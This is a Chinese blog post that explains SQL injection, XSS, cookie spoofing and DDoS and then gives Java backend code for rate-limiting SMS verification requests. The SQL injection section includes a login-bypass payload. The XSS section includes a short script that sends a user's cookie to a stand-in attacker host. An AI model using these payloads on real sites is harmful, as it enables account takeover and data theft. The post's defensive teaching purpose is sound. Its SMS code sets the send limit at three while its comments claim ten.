1. 程式人生 > >常見網路攻擊方式介紹及簡訊防攻擊策略的後端實現

常見網路攻擊方式介紹及簡訊防攻擊策略的後端實現

大家好,今天給大家分享一下:幾種常見的網路攻擊方式的介紹以及簡訊防攻擊策略的後端實現。

一、背景介紹

有人的地方就有江湖,有資料互動的地方,就存在入侵風險。

只有知己知彼,才能百戰不殆。我們學習相關知識不是為了去攻擊別人的伺服器,只是為了防範於未然。

攻擊的種類多種多樣:SQL注入,旁註,XSS跨站,COOKIE欺騙,DDOS,0day 漏洞,社會工程學 等等等等。

二、知識剖析

1.SQL注入攻擊

原理:構造特殊字串,利用SQL語言的漏洞,對原先的SQL邏輯進行修改。

解釋:為什麼會存在sql注入呢,只能說SQL出身不好。因為sql作為一種解釋型語言,在執行時是由一個執行時元件解釋語言程式碼並執行其中包含的指令的語言。基於這種執行方式,產生了一系列叫做程式碼注入(code injection)的漏洞 。它的資料其實是由程式設計師編寫的程式碼和使用者提交的資料共同組成的。程式設計師在web開發時,沒有過濾敏感字元,繫結變數,導致攻擊者可以通過sql靈活多變的語法,構造精心巧妙的語句,不擇手段,達成目的,或者通過系統報錯,返回對自己有用的資訊。

舉例:

系統資料庫使用的statement語句來處理傳入的資料,輸入管理員賬戶和密碼之後,將密碼加密然後放入執行語句執行。

select * from users where username='tarena' and password=md5('admin')

當存在SQL漏洞的時候,通過構造特殊字串,在使用者名稱輸入框中輸入:’or 1=1#,密碼隨便輸入,這時執行語句是這樣的

select * from users where username='' or 1=1#' and password=md5('')

這時也可以登陸,因為上面這句話等價於

select * from users where username='' or 1=1

等價於

select * from users

然後系統判斷返回值不為空,就可以登陸了。

應對措施:

1)使用preparestatement預編譯SQL語句,使用佔位符來代替傳入引數,這樣語句結構不會發生變化

2)儲存過程。儲存過程(Stored Procedure)是一組完成特定功能的SQL語句集,經編譯後儲存在資料庫中,使用者通過呼叫儲存過程並給定引數(如果該儲存過程帶有引數)就可以執行它,也可以避免SQL注入攻擊

3)前端預處理語句,過濾非法字元比如;#等

2.XSS跨站指令碼攻擊

xss表示Cross Site Scripting(跨站指令碼攻擊),它與SQL注入攻擊類似,SQL注入攻擊中以SQL語句作為使用者輸入,從而達到查詢/修改/刪除資料的目的。而在xss攻擊中,通過插入惡意指令碼,實現對使用者遊覽器的控制,CSRF全名是Cross-site request forgery,是一種對網站的惡意利用,CSRF比XSS更具危險性。其實XSS攻擊就是網站輸入框沒有限制非法字元,或者沒有對指令碼內容進行編碼導致的!

舉例:

var img = document.createElement('img');
img.src='http://www.xss.com?cookie='+document.cookie;
img.style.display='none';
document.getElementsByTagName('body')[0].appendChild(img);

比如這段程式碼,當我們沒有對網站輸入框進行非法字元的限制的話,使用者輸入了這段指令碼,這樣就會神不知鬼不覺的把當前使用者的cookie傳送給了我的惡意站點,我的惡意站點通過獲取get引數就拿到了使用者的cookie。當然我們可以通過這個方法拿到使用者各種各樣的資料。

3.Cookie欺騙

上面的cookie拿來有什麼用呢?我們知道,HTTP是無狀態的,需要依靠cookie,session來進行登陸狀態的驗證。

當我們獲得別人的cookie之後,就可以通過在瀏覽器新增cookie的方法(有具體外掛可以完成),實現登陸別人的賬戶來進行操作。

當然這只是cookie欺騙的一種方法,屬於修改瀏覽器,而還有跳過瀏覽器,直接對通訊資料改寫;使用簽名指令碼,讓瀏覽器可以從本地讀寫任意域名cookie;欺騙瀏覽器,讓瀏覽器獲得假的域名。

應對措施:

1)開發者方面:少用cookie,一定要用的話,對其進行加密,繫結ip,動態請求一次一換,這樣可以減少cookie被盜取後的損失。

2)使用者方面:儘量不在公用電腦輸入使用者名稱密碼,使用完及時關閉瀏覽器,清除快取。

4.DDoS

ddos的全稱是分散式拒絕服務攻擊,既然是拒絕服務一定是因為某些原因而停止服務的,其中最重要的也是最常用的原因就是利用服務端方面資源的有限性,這種服務端的資源範圍很廣,可以簡單的梳理一個請求正常完成的過程:

1)使用者在客戶端瀏覽器輸入請求的地址

2)瀏覽器解析該請求,包括分析其中的dns以明確需要到達的遠端伺服器地址

3)明確地址後瀏覽器和伺服器的服務嘗試建立連線,嘗試建立連線的資料包通過本地網路,中間路由最終艱苦到達目標網路再到達目標伺服器

4)網路連線建立完成之後瀏覽器根據請求建立不同的資料包並且將資料包傳送到伺服器某個埠

5)埠對映到程序,程序接受到資料包之後進行內部的解析

6)請求伺服器內部的各種不同的資源,包括後端的API以及一些資料庫或者檔案等

7)在邏輯處理完成之後資料包按照之前建立的通道返回到使用者瀏覽器,瀏覽器完成解析,請求完成。

上面各個點都可以被用來進行ddos攻擊,包括:

1)某些著名的客戶端劫持病毒

2)進行dns劫持,或者直接大量的dns請求直接攻擊dns伺服器,這裡可以使用一些專業的第三方dns服務來緩解這個問題,如Dnspod

3)利用建立網路連線需要的網路資源攻擊伺服器頻寬使得正常資料包無法到達

4)利用webserver的一些特點進行攻擊,相比nginx來說,apache處理一個請求的過程就比較笨重。

5)利用應用程式內部的一些特性攻擊程式內部的資源如mysql,後端消耗資源大的介面等等,這也就是傳統意義上的CC攻擊。

瞭解自己系統的短處,不要以己之短攻敵之長,譬如在路由器等裝置上解決應用層攻擊就不是一個好的辦法,同理,在應用層嘗試解決網路層的問題也是不可能的。

我們防護的目標是隻讓正常的資料和請求進入到我們的服務,一個完善的防禦體系應該考慮如下幾個層面:

1)作為使用者請求的入口,必須有良好的dns防禦

2)與你的價值相匹配的頻寬資源,並且在核心節點上佈置好應用層的防禦策略,只允許你的正常應用的網路資料包能夠進入,譬如封殺除了80以外的所有資料包

3)有支援你的服務價值的機器叢集來抵抗應用層的壓力,有必要的話需要將一個http請求繼續分解,將連線建立的過程壓力分解到其他的叢集裡。

三、常見問題

講了那麼多,離我們都好遠,講點近的吧。

怎麼在我們的簡訊通道做好後端的防攻擊策略?

攻擊方式:通過指令碼偽造使用者網站上的簡訊請求介面,實現呼叫介面刷簡訊。

攻擊目的:

1.以攻擊手機號為目的刷簡訊驗證碼

2.以惡意刷取目標網站簡訊費用為目的的攻擊

四、解決方案

1.前端增加圖文驗證碼,在輸入正確的前提下才傳送驗證碼,這裡是後端的簡單實現

//跳轉到繫結手機號碼介面
    @RequestMapping(value = "/a/boundtel",method = RequestMethod.GET)
     public String boundTel(HttpServletRequest request,Model model)throws Exception{
        String precode=RandomCode.getRandom(4);
        String username=CookieUtil.getCookieValue(request,"username");
        String usernametel=username+"tel";
        redisCacheManager.hset(usernametel,"precode",precode,exp);//將其存入快取
        model.addAttribute("precode",precode);
        return "page08";
    }

2.限制單個手機號每日接收簡訊次數和時間間隔

單手機號限制阿里雲方面就可以做到,我在專案中在後臺限制了單使用者的次數和傳送時間間隔

//傳送驗證碼
    @RequestMapping(value = "/a/sendcode",method = RequestMethod.POST)
    public String boundCode(@RequestParam String telephone,String precode,Model model,HttpServletRequest request)throws Exception{

        String username=CookieUtil.getCookieValue(request,"username");
        //將手機號以使用者名稱tel和手機號的鍵值對方式存進快取
        String usernametel=username+"tel";
        String precode1=(String)redisCacheManager.hget(usernametel,"precode");
        //判斷驗證碼是否正確
        if(!precode.equals(precode1)){
            throw new MyException("驗證碼輸入錯誤,請重試");
        }
        //首先確認手機號是否符合規範,不符合就直接報錯
        if(!RegexUtil.telephoneRegex(telephone)) {
            throw new MyException("請確認手機號正確");
        }
        System.out.println("手機號正確");
        long time=0;//上次傳送的時間,預設為0
        int number=0;//傳送的次數,預設為0
        if(null!=redisCacheManager.hget(usernametel,"time")) {
            //如果不為空,則將time設定為快取的值
          time = (long) redisCacheManager.hget(usernametel, "time");//獲取上次傳送的時間屬性
            //同時獲取傳送的次數
            number = (int) redisCacheManager.hget(usernametel, "number");
        }
        //如果為空則number和time都為預設值
            System.out.println(time);
            System.out.println(number);
        long curTime=System.currentTimeMillis();
        //如果沒有超過一分鐘就提示一分鐘之內無法再次傳送,如果是第一次,time應該為0,一定不會報錯
        if((curTime-time)<1000*60){
            throw new MyException("請過一分鐘再次傳送");
        }
        System.out.println("距離上次傳送超過一分鐘,可以再次傳送");
        //判斷是否傳送超過十次,超過就報錯
        if(number>3){
            throw new MyException("今天已經超過十次,請24小時後再來");
        }
        System.out.println("未超過十次,可以再次傳送");
        //建立一個六位隨機數字的驗證碼
        String code= RandomCode.getRandom(6);
        //使用第三方介面傳送驗證碼
        String resCode=TelCode.tleCode(telephone,code);
        //判斷是否傳送成功
        if(resCode!=null&&resCode.equals("OK")){
            logger.info(username+"簡訊傳送成功");
        }else{
            logger.info(resCode);
            throw new MyException("簡訊傳送失敗");
        }
//        System.out.println(usernametel);
        redisCacheManager.hset(usernametel,"tel",telephone,exp);//將telephone存進快取,之前有就覆蓋
//        System.out.println("存入usernametel");
        redisCacheManager.hset(usernametel,"code", code, exp);//將code存入快取,過期時間設定為30min,之前有就覆蓋
        redisCacheManager.hset(usernametel,"time",System.currentTimeMillis(),exp);//存入當前時間戳
        redisCacheManager.hset(usernametel,"number",number+1,exp*48);//存入傳送次數,過期時間設定為24小時,即此使用者第十次傳送後,隔24小時才能再次傳送
//        System.out.println("存入telephone");
        model.addAttribute("telephone",telephone);//將其放進model在下一頁顯示出來
        return "page09";
    }

3.對IP進行限制

這個可以通過在伺服器上建立指令碼實施定時任務,每分鐘執行一次指令碼,抓取某一個介面一分鐘之內的呼叫次數,超過某個值後檢視其呼叫的ip,超過限制就封掉這個ip

4.對註冊流程進行限定

我自己的專案是兩道流程之後才能繫結手機,這個要根據PM的要求來設定,我們只需要按照PM要求的流程來操作就行。

5.對傳送者進行唯一性識別

我自己是通過cookie的方式來驗證,每個介面呼叫前都會通過攔截器來檢查cookie正確性,不正確就會不執行接下來的操作。

但是在實際執行中,需要幾種結合起來使用才行。

普通驗證碼的形式可以通過OCR識別的形式瞬間轉化成文字形式,稍複雜的驗證碼也可以通過OCR+簡單機器學習破解。

如果是針對單號碼的簡訊轟炸,其在每個網站一般也就呼叫幾次介面,通過多網站的形式實現轟炸,所以怎麼辨別有效使用者還是惡意呼叫就很困難,限制單個手機號次數也很困難杜絕。

禁用ip其實效果也不明顯,因為現在切換ip成本很低。

五、更多討論

1.阿里雲的安全策略是怎樣的?

2.cookie中繫結ip要儲存到資料庫嗎?

不需要,cookie中的內容是伺服器生成之後儲存在瀏覽器中的。

3.如果換IP登入怎麼辦?

換ip登陸的話就需要重新輸入使用者名稱和密碼了,即使是在同一臺電腦,其cookie也會被判定為無效。

六、參考文獻

https://www.cnblogs.com/daidai2016/p/7382549.html

https://blog.csdn.net/yizhenn/article/details/52384601

https://www.cnblogs.com/pursuitofacm/p/6706961.html

http://www.woshipm.com/pd/580976.html

今天的分享就到這裡了,歡迎大家留言,點贊,轉發~